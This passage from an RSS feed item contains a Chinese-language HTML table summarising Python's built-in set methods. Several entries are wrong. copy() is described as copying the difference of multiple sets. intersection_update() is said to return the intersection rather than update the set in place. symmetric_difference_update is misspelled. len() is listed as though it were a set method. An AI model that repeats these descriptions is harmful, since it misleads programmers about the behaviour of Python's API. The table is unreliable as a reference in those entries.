title="集合内置方法整合表"></a>集合内置方法整合表</h2><table><thead><tr><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>add()</td><td>为集合添加元素</td></tr><tr><td>clear()</td><td>移除集合中的所有元素</td></tr><tr><td>copy()</td><td>拷贝多个集合的差集</td></tr><tr><td>difference()</td><td>返回多个集合的差集</td></tr><tr><td>difference_update()</td><td>移除集合中的元素，该元素在指定的集合中也存在</td></tr><tr><td>discard()</td><td>删除集合中指定的元素</td></tr><tr><td>intersection()</td><td>返回集合的交集</td></tr><tr><td>intersection_update()</td><td>返回集合的交集</td></tr><tr><td>isdisjoint()</td><td>判断两个集合是否包含相同的元素，如果没有返回 True，否则返回False</td></tr><tr><td>issubset()</td><td>判断指定集合是否为该方法参数集合的子集</td></tr><tr><td>issuperset()</td><td>判断该方法的参数集合是否为指定集合的子集</td></tr><tr><td>pop()</td><td>随机移除元素</td></tr><tr><td>remove()</td><td>移除指定元素</td></tr><tr><td>symmetric_difference()</td><td>返回两个集合中不重复的元素集合</td></tr><tr><td>sysmmetric_difference_update()</td><td>移除当前集合中在另外一个指定集合中相同的元素，并将另外一个指定集合中不同的元素插入到当前集合中</td></tr><tr><td>union()</td><td>返回两个集合的并集</td></tr><tr><td>update()</td><td>给集合添加元素</td></tr><tr><td>len()</td><td>计算集合元素的个数</td></tr></tbody></table>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
